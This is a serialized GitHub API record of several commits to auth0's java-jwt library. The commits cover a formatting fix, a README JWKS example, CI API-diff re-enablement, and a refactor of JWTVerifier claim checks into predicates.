)  Qhttps://github.com/auth0/java-jwt/commit/e2a83142c41a65f0c5c24884d6f6ef36d9a7628auastats}(totalK	additionsK	deletionsKufiles]}(j(  (09a61b86571fbed738ab66d03d831b3a7e2b9ab7filename/lib/src/main/java/com/auth0/jwt/TokenUtils.javastatusmodifiedjX)  KjY)  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/a24c18b2073db832f3396382d0c8396562e0fb70/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtils.java,      raw_urlhttps://github.com/auth0/java-jwt/raw/a24c18b2073db832f3396382d0c8396562e0fb70/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtils.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtils.java?ref=a24c18b2073db832f3396382d0c8396562e0fb70patchX  @@ -19,17 +19,17 @@ static String[] splitToken(String token) throws JWTDecodeException {
         char delimiter = '.';
 
         int firstPeriodIndex = token.indexOf(delimiter);
-        if(firstPeriodIndex == -1) {
-           throw wrongNumberOfParts(0);
+        if (firstPeriodIndex == -1) {
+            throw wrongNumberOfParts(0);
         }
 
         int secondPeriodIndex = token.indexOf(delimiter, firstPeriodIndex + 1);
-        if(secondPeriodIndex == -1) {
+        if (secondPeriodIndex == -1) {
             throw wrongNumberOfParts(2);
         }
 
         // too many ?
-        if(token.indexOf(delimiter, secondPeriodIndex + 1) != -1) {
+        if (token.indexOf(delimiter, secondPeriodIndex + 1) != -1) {
             throw wrongNumberOfParts("> 3");
         }
 uau(298b95458199fce91a44872c268530edcd2f2233}(sha(298b95458199fce91a44872c268530edcd2f2233node_idEC_kwDOAQtL0doAKDI5OGI5NTQ1ODE5OWZjZTkxYTQ0ODcyYzI2ODUzMGVkY2QyZjIyMzMcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-07-26T12:49:25Zu	committer}(ju)  GitHubjw)  noreply@github.comjy)  2022-07-26T12:49:25ZumessagedMerge pull request #600 from auth0/readme-update-jwk-usage

Provide straightforward example for JWKStree}(jm)  (46aed6489320f1c6db80eb1cf4053ccd06ec84faurl^https://api.github.com/repos/auth0/java-jwt/git/trees/46aed6489320f1c6db80eb1cf4053ccd06ec84fauj)  `https://api.github.com/repos/auth0/java-jwt/git/commits/298b95458199fce91a44872c268530edcd2f2233
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJi3+LVCRBK7hj4Ov3rIwAAylcIAKNGN2bSGIZ2i+Dh3Qzcm1WJ
xMUi1PNavXxjrrjkxMVVE5nDQPG+ncmo9+StMiY4c7y5iuHzyPUCfxuh7t9sxNnp
VSzNmL4ILzOBj0Hl2Zy+BJxMHVEBsYJFN9DnLNWi0Oh9UuHip/I+964y9DBFi6Nu
fh7QfV+N/kgat0WvadmGMk5t0EreEJCTXRZoZWDAY8x61NEWhfxnbEKXTkemoECi
fwMlqYgq9TxF9SFv/V+y/Y5+RAC06bEn6gqBcMXBMC0YeXCRlrf5Jo1VpIoIk4OC
le8W0pYxIhO8M4OfOCjNMqLiDLgTGW5hMFEGjUVwZKEZdr4SKemJO40kotSmPDg=
=ctlg
-----END PGP SIGNATURE-----
payloadXf  tree 46aed6489320f1c6db80eb1cf4053ccd06ec84fa
parent f799e589c3d43de318c7ca0f0c36e462297db973
parent 81c8b46b8974bd2160218c2b5116e6d4dfae4a61
author Poovamraj T T <poovamraj@gmail.com> 1658839765 +0200
committer GitHub <noreply@github.com> 1658839765 +0200

Merge pull request #600 from auth0/readme-update-jwk-usage

Provide straightforward example for JWKSuuj)  \https://api.github.com/repos/auth0/java-jwt/commits/298b95458199fce91a44872c268530edcd2f2233html_urlQhttps://github.com/auth0/java-jwt/commit/298b95458199fce91a44872c268530edcd2f2233comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/298b95458199fce91a44872c268530edcd2f2233/commentsjs)  }(login	poovamrajidJ jo)  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j)  &https://api.github.com/users/poovamrajj)  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminuj{)  }(j)  web-flowj)  J/jo)  MDQ6VXNlcjE5ODY0NDQ3j)  4https://avatars.githubusercontent.com/u/19864447?v=4j)  h3j)  %https://api.github.com/users/web-flowj)  https://github.com/web-flowj)  /https://api.github.com/users/web-flow/followersj)  <https://api.github.com/users/web-flow/following{/other_user}j)  5https://api.github.com/users/web-flow/gists{/gist_id}j)  <https://api.github.com/users/web-flow/starred{/owner}{/repo}j)  3https://api.github.com/users/web-flow/subscriptionsj)  *https://api.github.com/users/web-flow/orgsj)  +https://api.github.com/users/web-flow/reposj)  6https://api.github.com/users/web-flow/events{/privacy}j)  5https://api.github.com/users/web-flow/received_eventsj)  Userj)  uparents](}(jm)  (f799e589c3d43de318c7ca0f0c36e462297db973j)  \https://api.github.com/repos/auth0/java-jwt/commits/f799e589c3d43de318c7ca0f0c36e462297db973j)  Qhttps://github.com/auth0/java-jwt/commit/f799e589c3d43de318c7ca0f0c36e462297db973u}(jm)  (81c8b46b8974bd2160218c2b5116e6d4dfae4a61j)  \https://api.github.com/repos/auth0/java-jwt/commits/81c8b46b8974bd2160218c2b5116e6d4dfae4a61j)  Qhttps://github.com/auth0/java-jwt/commit/81c8b46b8974bd2160218c2b5116e6d4dfae4a61uestats}(totalK	additionsK	deletionsKufiles]}(jm)  (bbc166c1480323d3f83909dd19a5fd167e9e92d7filename	README.mdstatusmodifiedj)  Kj)  KchangesKblob_urlYhttps://github.com/auth0/java-jwt/blob/298b95458199fce91a44872c268530edcd2f2233/README.mdraw_urlXhttps://github.com/auth0/java-jwt/raw/298b95458199fce91a44872c268530edcd2f2233/README.mdcontents_urlkhttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=298b95458199fce91a44872c268530edcd2f2233patchX  @@ -199,18 +199,18 @@ By using a `KeyProvider` you can change in runtime the key used either to verify
 - `getPrivateKeyId()`: Its called during token signing and it should return the id of the key that identifies the one returned by `getPrivateKey()`. This value is preferred over the one set in the `JWTCreator.Builder#withKeyId(String)` method. If you don't need to set a `kid` value avoid instantiating an Algorithm using a `KeyProvider`.
 
 
-The following example shows how this would work with `JwkStore`, an imaginary [JWK Set](https://auth0.com/docs/jwks) implementation. For simple key rotation using JWKS, try the [jwks-rsa-java](https://github.com/auth0/jwks-rsa-java) library.
+The following example shows how this would work with `JwkProvider` from the [jwks-rsa-java](https://github.com/auth0/jwks-rsa-java) library.
 
 ```java
-final JwkStore jwkStore = new JwkStore("{JWKS_FILE_HOST}");
+final JwkProvider jwkProvider = new UrlJwkProvider("https://samples.auth0.com/");
 final RSAPrivateKey privateKey = //Get the key instance
 final String privateKeyId = //Create an Id for the above key
 
 RSAKeyProvider keyProvider = new RSAKeyProvider() {
     @Override
     public RSAPublicKey getPublicKeyById(String kid) {
         //Received 'kid' value might be null if it wasn't defined in the Token's header
-        RSAPublicKey publicKey = jwkStore.get(kid);
+        PublicKey publicKey = jwkProvider.get(kid).getPublicKey();
         return (RSAPublicKey) publicKey;
     }
 uau(bb7acf4293fbe21896f33bdd236da239390e1b26}(sha(bb7acf4293fbe21896f33bdd236da239390e1b26node_idEC_kwDOAQtL0doAKGJiN2FjZjQyOTNmYmUyMTg5NmYzM2JkZDIzNmRhMjM5MzkwZTFiMjYcommit}(author}(nameJim Andersonemailjimranderson@gmail.comdate2022-10-15T03:05:59Zu	committer}(j)  Jim Andersonj)  jimranderson@gmail.comj)  2022-10-15T03:13:29Zumessage#Re-enable japicmp API diff checkingtree}(j)  (438f7a043cb679337cbd94e3948d094803c0f9f4url^https://api.github.com/repos/auth0/java-jwt/git/trees/438f7a043cb679337cbd94e3948d094803c0f9f4uj *  `https://api.github.com/repos/auth0/java-jwt/git/commits/bb7acf4293fbe21896f33bdd236da239390e1b26
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj *  \https://api.github.com/repos/auth0/java-jwt/commits/bb7acf4293fbe21896f33bdd236da239390e1b26html_urlQhttps://github.com/auth0/java-jwt/commit/bb7acf4293fbe21896f33bdd236da239390e1b26comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/bb7acf4293fbe21896f33bdd236da239390e1b26/commentsj)  }(login
jimmyjamesidJ7 j)  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j *  'https://api.github.com/users/jimmyjamesj*  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminuj)  }(j*  
jimmyjamesj*  J7 j)  MDQ6VXNlcjI3NjIyNQ==j*  2https://avatars.githubusercontent.com/u/276225?v=4j*  h3j *  'https://api.github.com/users/jimmyjamesj*  https://github.com/jimmyjamesj*  1https://api.github.com/users/jimmyjames/followersj*  >https://api.github.com/users/jimmyjames/following{/other_user}j*  7https://api.github.com/users/jimmyjames/gists{/gist_id}j *  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}j"*  5https://api.github.com/users/jimmyjames/subscriptionsj$*  ,https://api.github.com/users/jimmyjames/orgsj&*  -https://api.github.com/users/jimmyjames/reposj(*  8https://api.github.com/users/jimmyjames/events{/privacy}j**  7https://api.github.com/users/jimmyjames/received_eventsj,*  Userj.*  uparents]}(j)  (9840e74b7ef87ce9678d2ee71308499fb1b6f757j *  \https://api.github.com/repos/auth0/java-jwt/commits/9840e74b7ef87ce9678d2ee71308499fb1b6f757j*  Qhttps://github.com/auth0/java-jwt/commit/9840e74b7ef87ce9678d2ee71308499fb1b6f757uastats}(totalK,	additionsK	deletionsKufiles](}(j)  (32e9d4de767b3b2abd457def666219d608929e0afilename.circleci/config.ymlstatusmodifiedjH*  KjI*  KchangesK*blob_urlfhttps://github.com/auth0/java-jwt/blob/bb7acf4293fbe21896f33bdd236da239390e1b26/.circleci%2Fconfig.ymlraw_urlehttps://github.com/auth0/java-jwt/raw/bb7acf4293fbe21896f33bdd236da239390e1b26/.circleci%2Fconfig.ymlcontents_urlxhttps://api.github.com/repos/auth0/java-jwt/contents/.circleci%2Fconfig.yml?ref=bb7acf4293fbe21896f33bdd236da239390e1b26patchX  @@ -23,14 +23,14 @@ commands:
     steps:
       - run: ./gradlew check jacocoTestReport --continue --console=plain
       - codecov/upload
-  # run-api-diff:
-  #   steps:
-  #     # run apiDiff task
-  #     - run: ./gradlew apiDiff
-  #     - store_artifacts:
-  #         path: lib/build/reports/apiDiff/apiDiff.txt
-  #     - store_artifacts:
-  #         path: lib/build/reports/apiDiff/apiDiff.html
+  run-api-diff:
+    steps:
+      # run apiDiff task
+      - run: ./gradlew apiDiff
+      - store_artifacts:
+          path: lib/build/reports/apiDiff/apiDiff.txt
+      - store_artifacts:
+          path: lib/build/reports/apiDiff/apiDiff.html
 jobs:
   build:
     docker:
@@ -42,16 +42,16 @@ jobs:
       GRADLE_OPTS: '-Dorg.gradle.jvmargs="-Xmx2048m -XX:+HeapDumpOnOutOfMemoryError"'
       _JAVA_OPTIONS: "-Xms512m -Xmx1024m"
       TERM: dumb
-  # api-diff:
-  #   docker:
-  #     - image: openjdk:11.0-jdk
-  #   steps:
-  #     - checkout-and-build
-  #     - run-api-diff
-  #   environment:
-  #     GRADLE_OPTS: '-Dorg.gradle.jvmargs="-Xmx2048m -XX:+HeapDumpOnOutOfMemoryError"'
-  #     _JAVA_OPTIONS: "-Xms512m -Xmx1024m"
-  #     TERM: dumb
+  api-diff:
+    docker:
+      - image: openjdk:11.0-jdk
+    steps:
+      - checkout-and-build
+      - run-api-diff
+    environment:
+      GRADLE_OPTS: '-Dorg.gradle.jvmargs="-Xmx2048m -XX:+HeapDumpOnOutOfMemoryError"'
+      _JAVA_OPTIONS: "-Xms512m -Xmx1024m"
+      TERM: dumb
 
 workflows:
   build-and-test:
@@ -68,6 +68,6 @@ workflows:
                 - master
           requires:
             - build
-  # api-diff:
-  #   jobs:
-  #     - api-diff
+  api-diff:
+    jobs:
+      - api-diffu}(j)  (a0d7a7dacdf2fcf2cefe83b611b5cffd841c02b6jN*  lib/build.gradlejP*  modifiedjH*  KjI*  KjR*  KjS*  bhttps://github.com/auth0/java-jwt/blob/bb7acf4293fbe21896f33bdd236da239390e1b26/lib%2Fbuild.gradlejU*  ahttps://github.com/auth0/java-jwt/raw/bb7acf4293fbe21896f33bdd236da239390e1b26/lib%2Fbuild.gradlejW*  thttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=bb7acf4293fbe21896f33bdd236da239390e1b26jY*  X  @@ -28,7 +28,7 @@ oss {
     repository "java-jwt"
     organization "auth0"
     description "Java implementation of JSON Web Token (JWT)"
-    baselineCompareVersion "4.0.0"
+    baselineCompareVersion "4.1.0"
     skipAssertSigningConfiguration true
 
     developers {ueu(ddbca99a115cf219701928220ffe1c199517e64b}(sha(ddbca99a115cf219701928220ffe1c199517e64bnode_idEC_kwDOAQtL0doAKGRkYmNhOTlhMTE1Y2YyMTk3MDE5MjgyMjBmZmUxYzE5OTUxN2U2NGIcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-03-22T15:34:32Zu	committer}(jm*  
Poovamraj T Tjo*  poovamraj@gmail.comjq*  2022-03-22T18:20:59ZumessageUse predicates for verificationtree}(je*  (1195bd499a01692ad394effae77988e22d070af4url^https://api.github.com/repos/auth0/java-jwt/git/trees/1195bd499a01692ad394effae77988e22d070af4uj}*  `https://api.github.com/repos/auth0/java-jwt/git/commits/ddbca99a115cf219701928220ffe1c199517e64b
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj}*  \https://api.github.com/repos/auth0/java-jwt/commits/ddbca99a115cf219701928220ffe1c199517e64bhtml_urlQhttps://github.com/auth0/java-jwt/commit/ddbca99a115cf219701928220ffe1c199517e64bcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/ddbca99a115cf219701928220ffe1c199517e64b/commentsjk*  }(login	poovamrajidJ jg*  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3j}*  &https://api.github.com/users/poovamrajj*  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminujs*  }(j*  	poovamrajj*  J jg*  MDQ6VXNlcjE1OTEwNDI1j*  4https://avatars.githubusercontent.com/u/15910425?v=4j*  h3j}*  &https://api.github.com/users/poovamrajj*  https://github.com/poovamrajj*  0https://api.github.com/users/poovamraj/followersj*  =https://api.github.com/users/poovamraj/following{/other_user}j*  6https://api.github.com/users/poovamraj/gists{/gist_id}j*  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}j*  4https://api.github.com/users/poovamraj/subscriptionsj*  +https://api.github.com/users/poovamraj/orgsj*  ,https://api.github.com/users/poovamraj/reposj*  7https://api.github.com/users/poovamraj/events{/privacy}j*  6https://api.github.com/users/poovamraj/received_eventsj*  Userj*  uparents]}(je*  (423a142d09bd837041e7d4aea4a9da60b5d70221j}*  \https://api.github.com/repos/auth0/java-jwt/commits/423a142d09bd837041e7d4aea4a9da60b5d70221j*  Qhttps://github.com/auth0/java-jwt/commit/423a142d09bd837041e7d4aea4a9da60b5d70221uastats}(totalM		additionsKӌ	deletionsM6ufiles](}(je*  (49e22956884c5ec1b0ec172cb91c09c0ca66f29bfilename0lib/src/main/java/com/auth0/jwt/JWTVerifier.javastatusmodifiedj*  Kj*  KӌchangesMgblob_urlhttps://github.com/auth0/java-jwt/blob/ddbca99a115cf219701928220ffe1c199517e64b/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javaraw_urlhttps://github.com/auth0/java-jwt/raw/ddbca99a115cf219701928220ffe1c199517e64b/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.java?ref=ddbca99a115cf219701928220ffe1c199517e64bpatchXDb  @@ -24,17 +24,12 @@
 @SuppressWarnings("WeakerAccess")
 public final class JWTVerifier implements com.auth0.jwt.interfaces.JWTVerifier {
     private final Algorithm algorithm;
-    final Map<String, Object> expectedClaims;
-    private final Clock clock;
+    final Map<String, BiPredicate<Claim, DecodedJWT>> expectedChecks;
     private final JWTParser parser;
 
-    static final String AUDIENCE_EXACT = "AUDIENCE_EXACT";
-    static final String AUDIENCE_CONTAINS = "AUDIENCE_CONTAINS";
-
-    JWTVerifier(Algorithm algorithm, Map<String, Object> expectedClaims, Clock clock) {
+    JWTVerifier(Algorithm algorithm, Map<String, BiPredicate<Claim, DecodedJWT>> expectedClaims) {
         this.algorithm = algorithm;
-        this.expectedClaims = Collections.unmodifiableMap(expectedClaims);
-        this.clock = clock;
+        this.expectedChecks = Collections.unmodifiableMap(expectedClaims);
         this.parser = new JWTParser();
     }
 
@@ -51,43 +46,54 @@ static Verification init(Algorithm algorithm) throws IllegalArgumentException {
 
     public static class BaseVerification implements Verification {
         private final Algorithm algorithm;
-        private final Map<String, Object> expectedClaims;
+        private final Map<String, BiPredicate<Claim, DecodedJWT>> expectedChecks;
         private long defaultLeeway;
+        private final Map<String, Long> customLeeways;
         private boolean ignoreIssuedAt;
+        private Clock clock;
 
         BaseVerification(Algorithm algorithm) throws IllegalArgumentException {
             if (algorithm == null) {
                 throw new IllegalArgumentException("The Algorithm cannot be null.");
             }
 
             this.algorithm = algorithm;
-            this.expectedClaims = new HashMap<>();
+            this.expectedChecks = new HashMap<>();
+            this.customLeeways = new HashMap<>();
             this.defaultLeeway = 0;
         }
 
         @Override
         public Verification withIssuer(String... issuer) {
-            requireClaim(PublicClaims.ISSUER, isNullOrEmpty(issuer) ? null : Arrays.asList(issuer));
+            List<String> value = isNullOrEmpty(issuer) ? null : Arrays.asList(issuer);
+            checkIfNeedToRemove(PublicClaims.ISSUER, value, ((claim, decodedJWT) -> {
+                if (value == null || !value.contains(claim.asString())) {
+                    throw new InvalidClaimException("The Claim 'iss' value doesn't match the required issuer.");
+                }
+                return true;
+            }));
             return this;
         }
 
         @Override
         public Verification withSubject(String subject) {
-            requireClaim(PublicClaims.SUBJECT, subject);
+            checkIfNeedToRemove(PublicClaims.SUBJECT, subject, (claim, decodedJWT) -> subject.equals(claim.asString()));
             return this;
         }
 
         @Override
         public Verification withAudience(String... audience) {
-            expectedClaims.remove(AUDIENCE_CONTAINS);
-            requireClaim(AUDIENCE_EXACT, isNullOrEmpty(audience) ? null : Arrays.asList(audience));
+            List<String> value = isNullOrEmpty(audience) ? null : Arrays.asList(audience);
+            checkIfNeedToRemove(PublicClaims.AUDIENCE, value, ((claim, decodedJWT) ->
+                    assertValidAudienceClaim(decodedJWT.getAudience(), value, true)));
             return this;
         }
 
         @Override
         public Verification withAnyOfAudience(String... audience) {
-            expectedClaims.remove(AUDIENCE_EXACT);
-            requireClaim(AUDIENCE_CONTAINS, isNullOrEmpty(audience) ? null : Arrays.asList(audience));
+            List<String> value = isNullOrEmpty(audience) ? null : Arrays.asList(audience);
+            checkIfNeedToRemove(PublicClaims.AUDIENCE, value, ((claim, decodedJWT) ->
+                    assertValidAudienceClaim(decodedJWT.getAudience(), value, false)));
             return this;
         }
 
@@ -101,21 +107,21 @@ public Verification acceptLeeway(long leeway) throws IllegalArgumentException {
         @Override
         public Verification acceptExpiresAt(long leeway) throws IllegalArgumentException {
             assertPositive(leeway);
-            requireClaim(PublicClaims.EXPIRES_AT, leeway);
+            customLeeways.put(PublicClaims.EXPIRES_AT, leeway);
             return this;
         }
 
         @Override
         public Verification acceptNotBefore(long leeway) throws IllegalArgumentException {
             assertPositive(leeway);
-            requireClaim(PublicClaims.NOT_BEFORE, leeway);
+            customLeeways.put(PublicClaims.NOT_BEFORE, leeway);
             return this;
         }
 
         @Override
         public Verification acceptIssuedAt(long leeway) throws IllegalArgumentException {
             assertPositive(leeway);
-            requireClaim(PublicClaims.ISSUED_AT, leeway);
+            customLeeways.put(PublicClaims.ISSUED_AT, leeway);
             return this;
         }
 
@@ -127,49 +133,54 @@ public Verification ignoreIssuedAt() {
 
         @Override
         public Verification withJWTId(String jwtId) {
-            requireClaim(PublicClaims.JWT_ID, jwtId);
+            checkIfNeedToRemove(PublicClaims.JWT_ID, jwtId, ((claim, decodedJWT) -> jwtId.equals(claim.asString())));
             return this;
         }
 
         @Override
         public Verification withClaimPresence(String name) throws IllegalArgumentException {
             assertNonNull(name);
-            requireClaim(name, NonEmptyClaim.getInstance());
+            withClaim(name, ((claim, decodedJWT) -> {
+                if (claim instanceof NullClaim) {
+                    throw new InvalidClaimException(String.format("The Claim '%s' is not present in the JWT.", name));
+                }
+                return true;
+            }));
             return this;
         }
 
         @Override
         public Verification withClaim(String name, Boolean value) throws IllegalArgumentException {
             assertNonNull(name);
-            requireClaim(name, value);
+            checkIfNeedToRemove(name, value, ((claim, decodedJWT) -> value.equals(claim.asBoolean())));
             return this;
         }
 
         @Override
         public Verification withClaim(String name, Integer value) throws IllegalArgumentException {
             assertNonNull(name);
-            requireClaim(name, value);
+            checkIfNeedToRemove(name, value, ((claim, decodedJWT) -> value.equals(claim.asInt())));
             return this;
         }
 
         @Override
         public Verification withClaim(String name, Long value) throws IllegalArgumentException {
             assertNonNull(name);
-            requireClaim(name, value);
+            checkIfNeedToRemove(name, value, ((claim, decodedJWT) -> value.equals(claim.asLong())));
             return this;
         }
 
         @Override
         public Verification withClaim(String name, Double value) throws IllegalArgumentException {
             assertNonNull(name);
-            requireClaim(name, value);
+            checkIfNeedToRemove(name, value, ((claim, decodedJWT) -> value.equals(claim.asDouble())));
             return this;
         }
 
         @Override
         public Verification withClaim(String name, String value) throws IllegalArgumentException {
             assertNonNull(name);
-            requireClaim(name, value);
+            checkIfNeedToRemove(name, value, ((claim, decodedJWT) -> value.equals(claim.asString())));
             return this;
         }
 
@@ -182,35 +193,36 @@ public Verification withClaim(String name, Date value) throws IllegalArgumentExc
         public Verification withClaim(String name, Instant value) throws IllegalArgumentException {
             assertNonNull(name);
             // Since date-time claims are serialized as epoch seconds, we need to compare them with only seconds-granularity
-            requireClaim(name, value != null ? value.truncatedTo(ChronoUnit.SECONDS) : null);
+            checkIfNeedToRemove(name, value,
+                    ((claim, decodedJWT) -> value.truncatedTo(ChronoUnit.SECONDS).equals(claim.asInstant())));
             return this;
         }
 
         @Override
         public Verification withArrayClaim(String name, String... items) throws IllegalArgumentException {
             assertNonNull(name);
-            requireClaim(name, items);
+            checkIfNeedToRemove(name, items, ((claim, decodedJWT) -> assertValidCollectionClaim(claim, items)));
             return this;
         }
 
         @Override
         public Verification withArrayClaim(String name, Integer... items) throws IllegalArgumentException {
             assertNonNull(name);
-            requireClaim(name, items);
+            checkIfNeedToRemove(name, items, ((claim, decodedJWT) -> assertValidCollectionClaim(claim, items)));
             return this;
         }
 
         @Override
         public Verification withArrayClaim(String name, Long... items) throws IllegalArgumentException {
             assertNonNull(name);
-            requireClaim(name, items);
+            checkIfNeedToRemove(name, items, ((claim, decodedJWT) -> assertValidCollectionClaim(claim, items)));
             return this;
         }
 
         @Override
         public Verification withClaim(String name, BiPredicate<Claim, DecodedJWT> predicate) throws IllegalArgumentException {
             assertNonNull(name);
-            requireClaim(name, predicate);
+            checkIfNeedToRemove(name, predicate, predicate);
             return this;
         }
 
@@ -227,59 +239,122 @@ public JWTVerifier build() {
          * @return a new JWTVerifier instance with a custom {@link java.time.Clock}
          */
         public JWTVerifier build(Clock clock) {
-            addLeewayToDateClaims();
-            return new JWTVerifier(algorithm, expectedClaims, clock);
+            this.clock = clock;
+            addMandatoryClaimChecks();
+            return new JWTVerifier(algorithm, expectedChecks);
         }
 
-        private void assertPositive(long leeway) {
-            if (leeway < 0) {
-                throw new IllegalArgumentException("Leeway value can't be negative.");
+        /**
+         * Fetches the Leeway set for claim or returns the {@link BaseVerification#defaultLeeway}
+         *
+         * @param name Claim for which leeway is fetched
+         * @return Leeway value set for the claim
+         */
+        public long getLeewayFor(String name) {
+            return customLeeways.getOrDefault(name, defaultLeeway);
+        }
+
+        private void addMandatoryClaimChecks() {
+            long expiresAtLeeway = getLeewayFor(PublicClaims.EXPIRES_AT);
+            long notBeforeLeeway = getLeewayFor(PublicClaims.NOT_BEFORE);
+            long issuedAtLeeway = getLeewayFor(PublicClaims.ISSUED_AT);
+
+            checkIfNeedToRemove(PublicClaims.EXPIRES_AT, expiresAtLeeway, ((claim, decodedJWT) ->
+                    assertValidInstantClaim(claim.asInstant(), expiresAtLeeway, true)));
+            checkIfNeedToRemove(PublicClaims.NOT_BEFORE, notBeforeLeeway, ((claim, decodedJWT) ->
+                    assertValidInstantClaim(claim.asInstant(), notBeforeLeeway, false)));
+            if (!ignoreIssuedAt) {
+                checkIfNeedToRemove(PublicClaims.ISSUED_AT, issuedAtLeeway, ((claim, decodedJWT) ->
+                        assertValidInstantClaim(claim.asInstant(), issuedAtLeeway, false)));
             }
         }
 
-        private void assertNonNull(String name) {
-            if (name == null) {
-                throw new IllegalArgumentException("The Custom Claim's name can't be null.");
+        private boolean assertValidCollectionClaim(Claim claim, Object[] expectedClaimValue) {
+            List<Object> claimArr;
+            Object[] claimAsObject = claim.as(Object[].class);
+
+            // Jackson uses 'natural' mapping which uses Integer if value fits in 32 bits.
+            if (expectedClaimValue instanceof Long[]) {
+                // convert Integers to Longs for comparison with equals
+                claimArr = new ArrayList<>(claimAsObject.length);
+                for (Object cao : claimAsObject) {
+                    if (cao instanceof Integer) {
+                        claimArr.add(((Integer) cao).longValue());
+                    } else {
+                        claimArr.add(cao);
+                    }
+                }
+            } else {
+                claimArr = claim.isNull() ? Collections.emptyList() : Arrays.asList(claim.as(Object[].class));
             }
+            List<Object> valueArr = Arrays.asList(expectedClaimValue);
+            return claimArr.containsAll(valueArr);
         }
 
-        private void addLeewayToDateClaims() {
-            if (!expectedClaims.containsKey(PublicClaims.EXPIRES_AT)) {
-                expectedClaims.put(PublicClaims.EXPIRES_AT, defaultLeeway);
+        private boolean assertValidInstantClaim(Instant claimVal, long leeway, boolean shouldBeFuture) {
+            Instant now = clock.instant().truncatedTo(ChronoUnit.SECONDS);
+            if (shouldBeFuture) {
+                return assertInstantIsFuture(claimVal, leeway, now);
+            } else {
+                return assertInstantIsPast(claimVal, leeway, now);
             }
-            if (!expectedClaims.containsKey(PublicClaims.NOT_BEFORE)) {
-                expectedClaims.put(PublicClaims.NOT_BEFORE, defaultLeeway);
+        }
+
+        private boolean assertInstantIsFuture(Instant claimVal, long leeway, Instant now) {
+            if (claimVal != null && now.minus(Duration.ofSeconds(leeway)).isAfter(claimVal)) {
+                throw new TokenExpiredException(String.format("The Token has expired on %s.", claimVal));
             }
-            if (ignoreIssuedAt) {
-                expectedClaims.remove(PublicClaims.ISSUED_AT);
-                return;
+            return true;
+        }
+
+        private boolean assertInstantIsPast(Instant claimVal, long leeway, Instant now) {
+            if (claimVal != null && now.plus(Duration.ofSeconds(leeway)).isBefore(claimVal)) {
+                throw new InvalidClaimException(String.format("The Token can't be used before %s.", claimVal));
             }
-            if (!expectedClaims.containsKey(PublicClaims.ISSUED_AT)) {
-                expectedClaims.put(PublicClaims.ISSUED_AT, defaultLeeway);
+            return true;
+        }
+
+        private boolean assertValidAudienceClaim(List<String> audience, List<String> values, boolean shouldContainAll) {
+            if (audience == null || (shouldContainAll && !audience.containsAll(values)) ||
+                    (!shouldContainAll && Collections.disjoint(audience, values))) {
+                throw new InvalidClaimException("The Claim 'aud' value doesn't contain the required audience.");
             }
+            return true;
         }
 
-        private void requireClaim(String name, Object value) {
+        private void assertPositive(long leeway) {
+            if (leeway < 0) {
+                throw new IllegalArgumentException("Leeway value can't be negative.");
+            }
+        }
+
+        private void assertNonNull(String name) {
+            if (name == null) {
+                throw new IllegalArgumentException("The Custom Claim's name can't be null.");
+            }
+        }
+
+        private void checkIfNeedToRemove(String name, Object value, BiPredicate<Claim, DecodedJWT> predicate) {
             if (value == null) {
-                expectedClaims.remove(name);
+                expectedChecks.remove(name);
                 return;
             }
-            expectedClaims.put(name, value);
+            expectedChecks.put(name, predicate);
